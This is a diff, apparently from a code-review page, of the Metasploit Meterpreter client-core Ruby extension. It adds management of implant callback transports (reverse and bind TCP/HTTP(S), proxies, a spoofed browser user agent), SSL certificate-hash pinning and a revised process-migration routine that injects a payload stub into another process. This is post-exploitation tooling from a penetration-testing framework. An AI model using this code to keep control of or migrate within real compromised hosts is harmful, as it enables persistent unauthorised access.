|
|
307
|
+
|
|
308
|
+
return Msf::Payload::UUID.new({:raw => id})
|
|
309
|
+
end
|
|
310
|
+
|
|
311
|
+
def machine_id(timeout=nil)
|
|
312
|
+
request = Packet.create_request('core_machine_id')
|
|
313
|
+
|
|
314
|
+
args = [ request ]
|
|
315
|
+
args << timeout if timeout
|
|
316
|
+
|
|
317
|
+
response = client.send_request(*args)
|
|
318
|
+
|
|
319
|
+
mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID)
|
|
320
|
+
|
|
321
|
+
# Normalise the format of the incoming machine id so that it's consistent
|
|
322
|
+
# regardless of case and leading/trailing spaces. This means that the
|
|
323
|
+
# individual meterpreters don't have to care.
|
|
324
|
+
|
|
325
|
+
# Note that the machine ID may be blank or nil and that is OK
|
|
326
|
+
Rex::Text.md5(mid.to_s.downcase.strip)
|
|
327
|
+
end
|
|
328
|
+
|
|
329
|
+
def transport_remove(opts={})
|
|
330
|
+
request = transport_prepare_request('core_transport_remove', opts)
|
|
331
|
+
|
|
332
|
+
return false unless request
|
|
333
|
+
|
|
334
|
+
client.send_request(request)
|
|
335
|
+
|
|
336
|
+
return true
|
|
337
|
+
end
|
|
338
|
+
|
|
339
|
+
def transport_add(opts={})
|
|
340
|
+
request = transport_prepare_request('core_transport_add', opts)
|
|
341
|
+
|
|
342
|
+
return false unless request
|
|
343
|
+
|
|
344
|
+
client.send_request(request)
|
|
345
|
+
|
|
346
|
+
return true
|
|
347
|
+
end
|
|
348
|
+
|
|
349
|
+
def transport_change(opts={})
|
|
350
|
+
request = transport_prepare_request('core_transport_change', opts)
|
|
351
|
+
|
|
352
|
+
return false unless request
|
|
353
|
+
|
|
354
|
+
client.send_request(request)
|
|
355
|
+
|
|
356
|
+
return true
|
|
357
|
+
end
|
|
358
|
+
|
|
359
|
+
def transport_sleep(seconds)
|
|
360
|
+
return false if seconds == 0
|
|
361
|
+
|
|
362
|
+
request = Packet.create_request('core_transport_sleep')
|
|
363
|
+
|
|
364
|
+
# we're reusing the comms timeout setting here instead of
|
|
365
|
+
# creating a whole new TLV value
|
|
366
|
+
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds)
|
|
367
|
+
client.send_request(request)
|
|
368
|
+
return true
|
|
369
|
+
end
|
|
370
|
+
|
|
371
|
+
def transport_next
|
|
372
|
+
request = Packet.create_request('core_transport_next')
|
|
373
|
+
client.send_request(request)
|
|
374
|
+
return true
|
|
375
|
+
end
|
|
376
|
+
|
|
377
|
+
def transport_prev
|
|
378
|
+
request = Packet.create_request('core_transport_prev')
|
|
379
|
+
client.send_request(request)
|
|
380
|
+
return true
|
|
381
|
+
end
|
|
382
|
+
|
|
383
|
+
#
|
|
384
|
+
# Enable the SSL certificate has verificate
|
|
385
|
+
#
|
|
386
|
+
def enable_ssl_hash_verify
|
|
387
|
+
# Not supported unless we have a socket with SSL enabled
|
|
388
|
+
return nil unless self.client.sock.type? == 'tcp-ssl'
|
|
389
|
+
|
|
390
|
+
request = Packet.create_request('core_transport_setcerthash')
|
|
391
|
+
|
|
392
|
+
hash = Rex::Text.sha1_raw(self.client.sock.sslctx.cert.to_der)
|
|
393
|
+
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
|
|
394
|
+
|
|
395
|
+
client.send_request(request)
|
|
396
|
+
|
|
397
|
+
return hash
|
|
398
|
+
end
|
|
399
|
+
|
|
400
|
+
#
|
|
401
|
+
# Disable the SSL certificate has verificate
|
|
402
|
+
#
|
|
403
|
+
def disable_ssl_hash_verify
|
|
404
|
+
# Not supported unless we have a socket with SSL enabled
|
|
405
|
+
return nil unless self.client.sock.type? == 'tcp-ssl'
|
|
406
|
+
|
|
407
|
+
request = Packet.create_request('core_transport_setcerthash')
|
|
408
|
+
|
|
409
|
+
# send an empty request to disable it
|
|
410
|
+
client.send_request(request)
|
|
411
|
+
|
|
412
|
+
return true
|
|
413
|
+
end
|
|
414
|
+
|
|
415
|
+
#
|
|
416
|
+
# Attempt to get the SSL hash being used for verificaton (if any).
|
|
417
|
+
#
|
|
418
|
+
# @return 20-byte sha1 hash currently being used for verification.
|
|
419
|
+
#
|
|
420
|
+
def get_ssl_hash_verify
|
|
421
|
+
# Not supported unless we have a socket with SSL enabled
|
|
422
|
+
return nil unless self.client.sock.type? == 'tcp-ssl'
|
|
423
|
+
|
|
424
|
+
request = Packet.create_request('core_transport_getcerthash')
|
|
425
|
+
response = client.send_request(request)
|
|
426
|
+
|
|
427
|
+
return response.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
|
|
428
|
+
end
|
|
429
|
+
|
|
180
430
|
#
|
|
181
431
|
# Migrates the meterpreter instance to the process specified
|
|
182
432
|
# by pid. The connection to the server remains established.
|
|
183
433
|
#
|
|
184
|
-
def migrate(pid, writable_dir = nil)
|
|
185
|
-
keepalive
|
|
434
|
+
def migrate(pid, writable_dir = nil, opts = {})
|
|
435
|
+
keepalive = client.send_keepalives
|
|
186
436
|
client.send_keepalives = false
|
|
187
|
-
process
|
|
188
|
-
binary_suffix
|
|
189
|
-
old_platform
|
|
190
|
-
old_binary_suffix
|
|
437
|
+
process = nil
|
|
438
|
+
binary_suffix = nil
|
|
439
|
+
old_platform = client.platform
|
|
440
|
+
old_binary_suffix = client.binary_suffix
|
|
191
441
|
|
|
192
442
|
# Load in the stdapi extension if not allready present so we can determine the target pid architecture...
|
|
193
|
-
client.core.use(
|
|
443
|
+
client.core.use('stdapi') if not client.ext.aliases.include?('stdapi')
|
|
194
444
|
|
|
195
445
|
# Determine the architecture for the pid we are going to migrate into...
|
|
196
446
|
client.sys.process.processes.each { | p |
|
|
@@ -201,8 +451,8 @@ class ClientCore < Extension
|
|
|
201
451
|
}
|
|
202
452
|
|
|
203
453
|
# We cant migrate into a process that does not exist.
|
|
204
|
-
|
|
205
|
-
raise RuntimeError,
|
|
454
|
+
unless process
|
|
455
|
+
raise RuntimeError, 'Cannot migrate into non existent process', caller
|
|
206
456
|
end
|
|
207
457
|
|
|
208
458
|
# We cannot migrate into a process that we are unable to open
|
|
@@ -215,7 +465,7 @@ class ClientCore < Extension
|
|
|
215
465
|
|
|
216
466
|
# And we also cannot migrate into our own current process...
|
|
217
467
|
if process['pid'] == client.sys.process.getpid
|
|
218
|
-
raise RuntimeError,
|
|
468
|
+
raise RuntimeError, 'Cannot migrate into current process', caller
|
|
219
469
|
end
|
|
220
470
|
|
|
221
471
|
if client.platform =~ /linux/
|
|
@@ -234,19 +484,19 @@ class ClientCore < Extension
|
|
|
234
484
|
blob = generate_payload_stub(process)
|
|
235
485
|
|
|
236
486
|
# Build the migration request
|
|
237
|
-
request = Packet.create_request(
|
|
487
|
+
request = Packet.create_request('core_migrate')
|
|
238
488
|
|
|
239
489
|
if client.platform =~ /linux/i
|
|
240
490
|
socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5)))
|
|
241
491
|
|
|
242
492
|
if socket_path.length > UNIX_PATH_MAX - 1
|
|
243
|
-
raise RuntimeError,
|
|
493
|
+
raise RuntimeError, 'The writable dir is too long', caller
|
|
244
494
|
end
|
|
245
495
|
|
|
246
496
|
pos = blob.index(DEFAULT_SOCK_PATH)
|
|
247
497
|
|
|
248
498
|
if pos.nil?
|
|
249
|
-
raise RuntimeError,
|
|
499
|
+
raise RuntimeError, 'The meterpreter binary is wrong', caller
|
|
250
500
|
end
|
|
251
501
|
|
|
252
502
|
blob[pos, socket_path.length + 1] = socket_path + "\x00"
|
|
@@ -260,14 +510,17 @@ class ClientCore < Extension
|
|
|
260
510
|
request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
|
|
261
511
|
request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
|
|
262
512
|
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
|
|
513
|
+
|
|
263
514
|
if process['arch'] == ARCH_X86_64
|
|
264
515
|
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
|
|
265
516
|
else
|
|
266
517
|
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
|
|
267
518
|
end
|
|
268
519
|
|
|
269
|
-
# Send the migration request
|
|
270
|
-
|
|
520
|
+
# Send the migration request. Timeout can be specified by the caller, or set to a min
|
|
521
|
+
# of 60 seconds.
|
|
522
|
+
timeout = [(opts[:timeout] || 0), 60].max
|
|
523
|
+
client.send_request(request, timeout)
|
|
271
524
|
|
|
272
525
|
if client.passive_service
|
|
273
526
|
# Sleep for 5 seconds to allow the full handoff, this prevents
|
|
@@ -289,7 +542,7 @@ class ClientCore < Extension
|
|
|
289
542
|
# keep from hanging the packet dispatcher thread, which results
|
|
290
543
|
# in blocking the entire process.
|
|
291
544
|
begin
|
|
292
|
-
Timeout.timeout(
|
|
545
|
+
Timeout.timeout(timeout) do
|
|
293
546
|
# Renegotiate SSL over this socket
|
|
294
547
|
client.swap_sock_ssl_to_plain()
|
|
295
548
|
client.swap_sock_plain_to_ssl()
|
|
@@ -350,17 +603,106 @@ class ClientCore < Extension
|
|
|
350
603
|
if not client.passive_service
|
|
351
604
|
self.client.send_packet(request)
|
|
352
605
|
else
|
|
353
|
-
|
|
354
|
-
|
|
355
|
-
|
|
356
|
-
|
|
606
|
+
# If this is a HTTP/HTTPS session we need to wait a few seconds
|
|
607
|
+
# otherwise the session may not receive the command before we
|
|
608
|
+
# kill the handler. This could be improved by the server side
|
|
609
|
+
# sending a reply to shutdown first.
|
|
357
610
|
self.client.send_packet_wait_response(request, 10)
|
|
358
611
|
end
|
|
359
612
|
true
|
|
360
613
|
end
|
|
361
614
|
|
|
615
|
+
#
|
|
616
|
+
# Indicates if the given transport is a valid transport option.
|
|
617
|
+
#
|
|
618
|
+
def valid_transport?(transport)
|
|
619
|
+
if transport
|
|
620
|
+
VALID_TRANSPORTS.has_key?(transport.downcase)
|
|
621
|
+
else
|
|
622
|
+
false
|
|
623
|
+
end
|
|
624
|
+
end
|
|
625
|
+
|
|
362
626
|
private
|
|
363
627
|
|
|
628
|
+
def transport_prepare_request(method, opts={})
|
|
629
|
+
unless valid_transport?(opts[:transport]) && opts[:lport]
|
|
630
|
+
return nil
|
|
631
|
+
end
|
|
632
|
+
|
|
633
|
+
if opts[:transport].starts_with?('reverse')
|
|
634
|
+
return false unless opts[:lhost]
|
|
635
|
+
else
|
|
636
|
+
# Bind shouldn't have lhost set
|
|
637
|
+
opts[:lhost] = nil
|
|
638
|
+
end
|
|
639
|
+
|
|
640
|
+
transport = VALID_TRANSPORTS[opts[:transport]]
|
|
641
|
+
|
|
642
|
+
request = Packet.create_request(method)
|
|
643
|
+
|
|
644
|
+
scheme = opts[:transport].split('_')[1]
|
|
645
|
+
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
|
|
646
|
+
|
|
647
|
+
if opts[:comm_timeout]
|
|
648
|
+
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
|
|
649
|
+
end
|
|
650
|
+
|
|
651
|
+
if opts[:session_exp]
|
|
652
|
+
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
|
|
653
|
+
end
|
|
654
|
+
|
|
655
|
+
if opts[:retry_total]
|
|
656
|
+
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
|
|
657
|
+
end
|
|
658
|
+
|
|
659
|
+
if opts[:retry_wait]
|
|
660
|
+
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
|
|
661
|
+
end
|
|
662
|
+
|
|
663
|
+
# do more magic work for http(s) payloads
|
|
664
|
+
unless opts[:transport].ends_with?('tcp')
|
|
665
|
+
if opts[:uri]
|
|
666
|
+
url << '/' unless opts[:uri].start_with?('/')
|
|
667
|
+
url << opts[:uri]
|
|
668
|
+
url << '/' unless opts[:uri].end_with?('/')
|
|
669
|
+
else
|
|
670
|
+
sum = uri_checksum_lookup(:connect)
|
|
671
|
+
url << generate_uri_uuid(sum, opts[:uuid]) + '/'
|
|
672
|
+
end
|
|
673
|
+
|
|
674
|
+
# TODO: randomise if not specified?
|
|
675
|
+
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
|
|
676
|
+
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
|
|
677
|
+
|
|
678
|
+
if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert]
|
|
679
|
+
hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert])
|
|
680
|
+
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
|
|
681
|
+
end
|
|
682
|
+
|
|
683
|
+
if opts[:proxy_host] && opts[:proxy_port]
|
|
684
|
+
prefix = 'http://'
|
|
685
|
+
prefix = 'socks=' if opts[:proxy_type] == 'socks'
|
|
686
|
+
proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
|
|
687
|
+
request.add_tlv(TLV_TYPE_TRANS_PROXY_HOST, proxy)
|
|
688
|
+
|
|
689
|
+
if opts[:proxy_user]
|
|
690
|
+
request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user])
|
|
691
|
+
end
|
|
692
|
+
if opts[:proxy_pass]
|
|
693
|
+
request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass])
|
|
694
|
+
end
|
|
695
|
+
end
|
|
696
|
+
|
|
697
|
+
end
|
|
698
|
+
|
|
699
|
+
request.add_tlv(TLV_TYPE_TRANS_TYPE, transport)
|
|
700
|
+
request.add_tlv(TLV_TYPE_TRANS_URL, url)
|
|
701
|
+
|
|
702
|
+
return request
|
|
703
|
+
end
|
|
704
|
+
|
|
705
|
+
|
|
364
706
|
def generate_payload_stub(process)
|
|
365
707
|
case client.platform
|
|
366
708
|
when /win/i
|
|
@@ -380,11 +722,9 @@ class ClientCore < Extension
|
|
|
380
722
|
|
|
381
723
|
# Include the appropriate reflective dll injection module for the target process architecture...
|
|
382
724
|
if process['arch'] == ARCH_X86
|
|
383
|
-
c.include( ::Msf::Payload::Windows::
|
|
384
|
-
binary_suffix = "x86.dll"
|
|
725
|
+
c.include( ::Msf::Payload::Windows::MeterpreterLoader )
|
|
385
726
|
elsif process['arch'] == ARCH_X86_64
|
|
386
|
-
c.include( ::Msf::Payload::Windows::
|
|
387
|
-
binary_suffix = "x64.dll"
|
|
727
|
+
c.include( ::Msf::Payload::Windows::MeterpreterLoader_x64 )
|
|
388
728
|
else
|
|
389
729
|
raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
|
|
390
730
|
end
|
|
@@ -392,41 +732,13 @@ class ClientCore < Extension
|
|
|
392
732
|
# Create the migrate stager
|
|
393
733
|
migrate_stager = c.new()
|
|
394
734
|
|
|
395
|
-
|
|
396
|
-
if dll.nil?
|
|
397
|
-
raise RuntimeError, "metsrv.#{binary_suffix} not found", caller
|
|
398
|
-
end
|
|
399
|
-
migrate_stager.datastore['DLL'] = dll
|
|
400
|
-
|
|
401
|
-
blob = migrate_stager.stage_payload
|
|
402
|
-
|
|
403
|
-
if client.passive_service
|
|
404
|
-
|
|
405
|
-
#
|
|
406
|
-
# Patch options into metsrv for reverse HTTP payloads
|
|
407
|
-
#
|
|
408
|
-
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
|
|
409
|
-
:ssl => client.ssl,
|
|
410
|
-
:url => self.client.url,
|
|
411
|
-
:expiration => self.client.expiration,
|
|
412
|
-
:comm_timeout => self.client.comm_timeout,
|
|
413
|
-
:ua => client.exploit_datastore['MeterpreterUserAgent'],
|
|
414
|
-
:proxyhost => client.exploit_datastore['PROXYHOST'],
|
|
415
|
-
:proxyport => client.exploit_datastore['PROXYPORT'],
|
|
416
|
-
:proxy_type => client.exploit_datastore['PROXY_TYPE'],
|
|
417
|
-
:proxy_username => client.exploit_datastore['PROXY_USERNAME'],
|
|
418
|
-
:proxy_password => client.exploit_datastore['PROXY_PASSWORD']
|
|
419
|
-
|
|
420
|
-
end
|
|
735
|
+
blob = migrate_stager.stage_meterpreter
|
|
421
736
|
|
|
422
737
|
blob
|
|
423
738
|
end
|
|
424
739
|
|
|
425
740
|
def generate_linux_stub
|
|
426
|
-
|
|
427
|
-
blob = ::File.open(file, "rb") {|f|
|
|
428
|
-
f.read(f.stat.size)
|
|
429
|
-
}
|
|
741
|
+
blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
|
|
430
742
|
|
|
431
743
|
blob
|
|
432
744
|
end
|